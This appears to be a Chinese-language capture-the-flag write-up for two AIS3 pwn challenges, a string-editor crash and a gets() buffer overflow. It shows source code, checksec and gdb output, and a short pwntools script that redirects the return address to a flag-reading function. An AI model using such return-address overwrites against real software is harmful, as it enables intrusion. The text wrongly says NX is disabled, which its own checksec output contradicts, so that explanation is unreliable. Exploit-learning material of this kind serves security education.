> file:https://drive.google.com/file/d/18YJGrtqcZIr5cNufSWAQnWnegHM5ww87/view?usp=sharing
這題給了source code package跟netcat網址,先看看source code:
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
class String {
public:
char *str;
size_t len;
String(const char *s) {
len = strlen(s);
str = new char[len + 1];
strcpy(str, s);
}
~String() { delete[] str; }
};
const int MAX_STRS = 16;
char tmp[4096];
String *strs[MAX_STRS] = {};
int readidx() {
char c;
int idx;
printf("Index: ");
scanf("%d%c", &idx, &c);
if (idx < 0 || idx >= MAX_STRS) {
printf("Bad index\n");
exit(0);
}
return idx;
}
void print(String s) {
printf("Length: %zu\n", s.len);
printf("Content: ");
write(1, s.str, s.len);
printf("\n");
}
void menu() {
printf("===== S(tring)AAS =====\n");
printf("1. Create string\n");
printf("2. Edit string\n");
printf("3. Print string\n");
printf("4. Delete string\n");
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (true) {
int choice, idx;
char c;
menu();
printf("> ");
scanf("%d", &choice);
switch (choice) {
case 1:
idx = readidx();
printf("Content: ");
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
strs[idx] = new String(tmp);
break;
case 2:
idx = readidx();
printf("New Content: ");
if (strs[idx] != nullptr) {
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
memcpy(strs[idx]->str, tmp, strs[idx]->len);
strs[idx]->str[strs[idx]->len] = 0;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 3:
idx = readidx();
if (strs[idx] != nullptr) {
print(*strs[idx]);
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 4:
idx = readidx();
if (strs[idx] != nullptr) {
delete strs[idx];
strs[idx] = nullptr;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
default:
puts("Bad option");
exit(0);
}
}
return 0;
}
```
可以發現它的輸入限制4095位,那輸入4096位是否能讓程式crash呢?
構造一個長於4096位的字串輸入`Create String`,接著將它輸出,第一次輸出沒有噴Error,再次輸出後便Crash了,得到flag。

FLAG:`AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}`
## BOF2WIN [100] [baby]
{% note default flat %}
Exploit the bof !!
`nc chals1.ais3.org 12347`
Author: 🎃
{% endnote %}
> file:https://drive.google.com/file/d/1MajFqDwi4SDtCCb-bthHUG9Y5voMv4tN/view?usp=sharing
這題是非常經典的buffer overflow題,先來看看source code:
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
void get_the_flag()
{
char buf[0x30] = {0};
int fd = open("/home/bof2win/flag", O_RDONLY);
read(fd, buf, 0x30);
write(1, buf, 0x30);
close(fd);
}
int main()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[0x10];
puts("What's your name?");
gets(buf);
printf("Hello, %s!\n", buf);
return 0;
}
```
可以發現`gets(buf)`的使用部分有漏洞,無法限制是使用者的輸入,所以我們只要蓋掉buffer並把return address改成`get_the_flag`的function address即可。
先用`checksec`確定一下開啟的保護機制:
```
> checksec bof2win
[*] 'C:\\Users\\Administrator\\Downloads\\bof2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
NX沒開,表示function address不會被randomize,可以直接使用function fixed address
用gdb觀察`get_the_flag`的function address
```
> gdb bof2win
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bof2win...(no debugging symbols found)...done.
pwndbg>
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010b0 puts@plt
0x00000000004010c0 write@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 close@plt
0x00000000004010f0 read@plt
0x0000000000401100 gets@plt
0x0000000000401110 setvbuf@plt
0x0000000000401120 open@plt
0x0000000000401130 _start
0x0000000000401160 _dl_relocate_static_pie
0x0000000000401170 deregister_tm_clones
0x00000000004011a0 register_tm_clones
0x00000000004011e0 __do_global_dtors_aux
0x0000000000401210 frame_dummy
0x0000000000401216 get_the_flag
0x00000000004012a4 main
0x0000000000401330 __libc_csu_init
0x00000000004013a0 __libc_csu_fini
0x00000000004013a8 _fini
```
可以得到function address `0x401216`
再用gdb觀察buf跟ret的address

buffer address:`0x7fffffffdee0`

return address:`0x7fffffffdef8`
所以要蓋掉`0x7fffffffdef8-0x7fffffffdee0=24`個字元
寫個exploit即可拿到flag。
```python=
from pwn import *
r=remote('chals1.ais3.org',12347)
r.recvline()
r.sendline(b'A'*(24)+p64(0x401216))
r.interactive()
#AIS3{Re@1_B0F_m4st3r!!}
```
FLAG:`AIS3{Re@1_B0F_m4st3r!!}`
###### tags: `hexo`